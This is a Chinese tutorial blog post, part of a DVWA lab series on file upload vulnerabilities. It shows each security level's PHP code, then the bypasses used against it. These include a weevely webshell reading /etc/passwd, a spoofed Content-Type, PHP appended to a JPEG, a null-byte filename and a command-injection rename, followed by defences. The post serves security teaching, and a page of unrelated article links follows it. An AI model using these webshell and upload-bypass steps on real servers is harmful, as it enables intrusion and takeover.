DVWA 黑客攻防演练(五)文件上传漏洞 File Upload
说起文件上传漏洞 ,可谓是印象深刻。有次公司的网站突然访问不到了,同事去服务器看了一下。所有 webroot 文件夹下的所有文件都被重命名成其他文件,比如 jsp 文件变成 jsp.s ,以致于路径映射不到 jsp 文件,同事怀疑是攻击者上传了个 webshell 文件然后进行批量重命名了。
把后台的代码都找了一遍,后台代码也都有验证文件扩展名的,后面是发现一张普通的照片其实是代码来的,但也不知道为何能够执行。但看完这篇文章你就会明白了。 下面用 dvwa 来演示如何攻击和防御。
低级
用户界面是这样的,是一个简单的上传文件功能。

然而 Hacker 就上传一个 phpinfo.php 文件
<?
phpinfo();
?>
。。。结果如下

然后打开链接 http://192.168.0.110:5678/hackable/uploads/phpinfo.php ,又看到熟悉的界面了。

Hacker 想用 webshell 的方式尝试一下。于是就用 Kali Linux 预装的 weevely 工具生成一个 webshell 文件,这里的 123456 是密码,这个 webshell 要用密码登录的。
weevely generate 123456 /root/webshell.php
Generated backdoor with password '123456' in '/root/webshell.php' of 1479 byte size.
上传完文件后,登录
weevely http://192.168.0.110:5678/hackable/uploads/webshell.php 123456
weevely> ls
dvwa_email.png
webshell.php
www-data@56e69b5b67b6:/var/www/html/hackable/uploads $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
就变成你的地盘我做主了。 再来看看低级代码。
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?>
为何会变成这样的呢?觉得主要是没有限制文件扩展名吧。
中级
而中级代码,多了文件类型和文件大小的限制
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
这里代码看上去好像类型都判断了,应该是不能上传 php 代码了吧。 然而 Hacker 打开火狐浏览器的调试器(谷歌浏览器没有修改功能,用 brup suite 之类的抓包也可以的),找到对应请求后右键选择-> edit and resend 然后将头部的 content-type 改掉,再重发请求

结果如下

打开链接 http://192.168.0.110:5678/hackable/uploads/phpinfo.php ,依然能看到熟悉的界面。
高级
中级的代码有漏洞的原因是用 content-type 去判断文件类型了,如果用扩展名去判断还有问题吗?高级代码就是这样想的,代码如下
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
我尝试过将 phpinfo.php 改成 phpinfo.php.png ,然而不成功,因为调用了 getimagesize 这个函数,如果不是图片文件就会返回 false。 但是如果这图片既是图片又是代码呢? 有人能想到了吗? 11年左右百度贴吧风靡一时图种。
比如这是大家老婆的图片

保存下来,将扩展名改成 zip ,再解压(用命令行 unzip)。。。就有福利。
为什么可以这样 因为比如文件有特定的 jpg 标识,如果用看图程序打开,只会去看有图片标识的那部分,如果用 zip 压缩文件打开,也只会看有 zip 标识的那部分,其他部分会忽略的。 所以它既是图片也是种子。因此。我们可以制作类似图种的东西去注入 webshell。
- windows
copy /b D:\gakki.jpg + D:\webshell.php D:\gakki.jpg - linux/unix
cat webshell.php >> gakki.jpg
所以我们可以制作一个 “图php"
cat phpinfo.php >> gakki.jpg
只是上传后,重命名是个问题。
php 5.4 之下还容易解决,因为那个版本就有个漏洞上传gakki.php%00.jpg这种文件会当成gakki.php来执行的,因为 c语言等语言是用 \0 判断字符符结束的,所以该会被服务器当成 gakki.php 执行。
在 File Upload 页面没法重名了。。。找不到其他方法。唯有借助同一级别下的漏洞比如是命令行注入漏洞

然后输入在 |mv ../../hackable/uploads/gakki.jpg ../../hackable/uploads/gakki.php ,再访问文件,结果如下

不可能
不可能级别的代码有添加了这些
- 使用
imagecreatefromjpeg或imagecreatefrompng去掉了不属于图片的部分 - 为文件重命名成 随机字符串。因为如何上传的文件是 phpshell.php.rar ,Apache 不认识 rar 格式就会向前解析,文件就解析成 phpshell.php 了。
- 用 anti-token 解决一些 CSRF 问题
代码如下:
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {
// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );
// Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
}
else {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
// Delete any temp files
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
也有其他手段防御文件上传漏洞(《白帽子讲web安全》):
- 设置文件目录不可以执行
- 给文件服务器设置单独的域名,因为不同源的原因,请求会被浏览器拦截
DVWA 黑客攻防演练(五)文件上传漏洞 File Upload的更多相关文章
- Spring MVC-表单(Form)标签-文件上传(File Upload)示例(转载实践)
以下内容翻译自:https://www.tutorialspoint.com/springmvc/springmvc_upload.htm 说明:示例基于Spring MVC 4.1.6. 以下示例显 ...
- vuetify | vue | 文件上传组件 | file | upload | form input[type="file"]
今天无聊地写vuecli3听歌的时候,遇到了上传文件到Django的自我需求,然后就到vuetify的表单组件里找upload btn,发现居然没有!!! 顿时惊了个呆,要知道之前用element做操 ...
- DVWA 黑客攻防演练(一) 介绍及安装
原本是像写一篇 SELinux 的文章的.而我写总结文章的时候,总会去想原因是什么,为什么会有这种需求.而我发觉 SELinux 的需求是编程人员的神奇代码或者维护者的脑袋短路而造成系统容易被攻击.就 ...
- 攻防:文件上传漏洞的攻击与防御,转自H3C
WebShell就是以asp.php.jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门.黑客在入侵了一个网站后,通常会将这些asp或php后门文件与网站服务器WEB目 ...
- 1.4 DVWA亲测文件上传漏洞
Low 先看看源代码: <?php if(isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $tar ...
- 使用Typescript重构axios(二十五)——文件上传下载进度监控
0. 系列文章 1.使用Typescript重构axios(一)--写在最前面 2.使用Typescript重构axios(二)--项目起手,跑通流程 3.使用Typescript重构axios(三) ...
- 【DVWA】File Upload(文件上传漏洞)通关教程
日期:2019-08-01 17:28:33 更新: 作者:Bay0net 介绍: 0x01. 漏洞介绍 在渗透测试过程中,能够快速获取服务器权限的一个办法. 如果开发者对上传的内容过滤的不严,那么就 ...
- DVWA的文件上传漏洞(high)
1.使用文件包含漏洞和文件上传漏洞,来连接shell 文件包含漏洞详细的漏洞介绍:https://blog.csdn.net/Vansnc/article/details/82528395 文件包含函 ...
- DVWA靶机--简单的文件上传漏洞
简单的文件上传漏洞(靶机安全级别:low) 事先准备好一句话木马,密码为pass 上传一句话木马,显示上传路径(一般网站是不会显示路径的,这里靶机为了方便你测试漏洞,直接显示出了路径: ../../h ...
随机推荐
- linux入门--Linux的应用领域
Linux 似乎在我们平时的生活中很少看到,那么它应用在哪些领域呢?其实,在生活中随时随地都有 Linux 为我们服务着. 网站服务器 用事实说话!访问国际知名的 Netcraft 网站 http:/ ...
- python之Django学习笔记(一)---搭建Django开发环境和一些基本命令
1.Django下载 官方下载地址:https://www.djangoproject.com/download/ 2.Django安装 linux/windows安装方法相同,具体有以下俩种 pip ...
- 【Spark篇】---SparkSQL初始和创建DataFrame的几种方式
一.前述 1.SparkSQL介绍 Hive是Shark的前身,Shark是SparkSQL的前身,SparkSQL产生的根本原因是其完全脱离了Hive的限制. SparkSQL支持查询原 ...
- BBS论坛(二)
2.1.cms后台登录界面完成 (1)templates/cms/cms_login.html <!DOCTYPE html> <html lang="zh-CN" ...
- Java异常处理:给程序罩一层保险
文/沉默王二 人这一生,总会遇到一些不可预料的麻烦,这些麻烦可能会让我们遭受沉重的打击.为了减轻因此承受的负担,我们就会买保险. 本着负责任的态度,我们程序员在写代码的时候,都非常的严谨.但程序在运行 ...
- Zabbix4.0.3解决中文乱码
字体下载地址:https://github.com/hejianlai/Zabbix/raw/master/font/msyh.ttf放到以下目录,可能你的路径和我的不一样用find查出来cd /us ...
- asp.net core系列 37 WebAPI 使用OpenAPI (swagger)中间件
一.概述 在使用Web API时,对于开发人员来说,了解其各种方法可能是一项挑战.在ASP.NET Core上,Web api 辅助工具介绍二个中间件,包括:Swashbuckle和NSwag .NE ...
- Linux~上部署.net MVC出现的问题与解决
这几天一直在搞linux下面的.net mvc的部署工作,遇到了很多问题,还好有一些朋友的帮助,问题才得到了解决! 环境:Linux+Mono+Jexus 希望的结果:直接运行windows+vist ...
- 一起来看 rxjs
更新日志 2018-05-26 校正 2016-12-03 第一版翻译 过去你错过的 Reactive Programming 的简介 你好奇于这名为Reactive Programming(反应式编 ...
- [十五]javaIO之SequenceInputStream
功能简介 SequenceInputStream 合并流 顾名思义,就是可以吧两个流合并起来 他并没有很复杂,单纯的很,仅仅实现了InputStream 他拥有两个构造方法把两个InputS ...